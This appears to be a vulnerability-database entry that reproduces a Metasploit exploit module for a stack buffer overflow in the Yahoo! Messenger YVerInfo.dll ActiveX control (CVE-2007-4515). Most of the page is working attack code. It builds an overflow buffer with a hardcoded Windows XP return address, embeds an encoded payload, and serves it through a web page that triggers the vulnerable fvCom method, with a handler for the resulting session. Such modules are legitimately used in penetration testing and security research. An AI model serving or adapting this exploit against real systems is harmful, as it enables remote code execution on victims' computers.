Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow. Yahoo! Messenger ActiveX Control YVerInfo.dll vulnerability allows remote attackers to execute arbitrary code via a long string to the "fvCom()" method from a yahoo.com domain


                                                ##
# $Id: yahoomessenger_fvcom.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX
				Control (YVerInfo.dll &#60;= 2006.8.24.1). By sending a overly long string
				to the &#34;fvCom()&#34; method from a yahoo.com domain, an attacker may be able
				to execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9262 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2007-4515&#39; ],
					[ &#39;OSVDB&#39;, &#39;37739&#39; ],
					[ &#39;BID&#39;, &#39;25494&#39; ],
					[ &#39;URL&#39;, &#39;http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 800,
					&#39;BadChars&#39;      =&#62; &#34;\x00\x09\x0a\x0d&#39;\\&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP2 Pro English&#39;,     { &#39;Ret&#39; =&#62; 0x7cc58fd8  } ], # Tested on fully patched XPSP2 9/29/07
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Aug 30 2007&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit =  rand_text_english(411) + [target.ret].pack(&#39;V&#39;)
		sploit &#60;&#60; p.encoded + rand_text_english(payload.encoded.length)

		# Build out the message
		content = %Q|
			&#60;html&#62;
			&#60;object classid=&#39;clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883&#39; id=&#39;#{vname}&#39;&#62;&#60;/object&#62;
			&#60;script language=&#39;javascript&#39;&#62;
			#{strname} = new String(&#39;#{sploit}&#39;);
			#{vname}.fvcom(#{strname});
			&#60;/script&#62;
			&#60;/html&#62;
			|

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1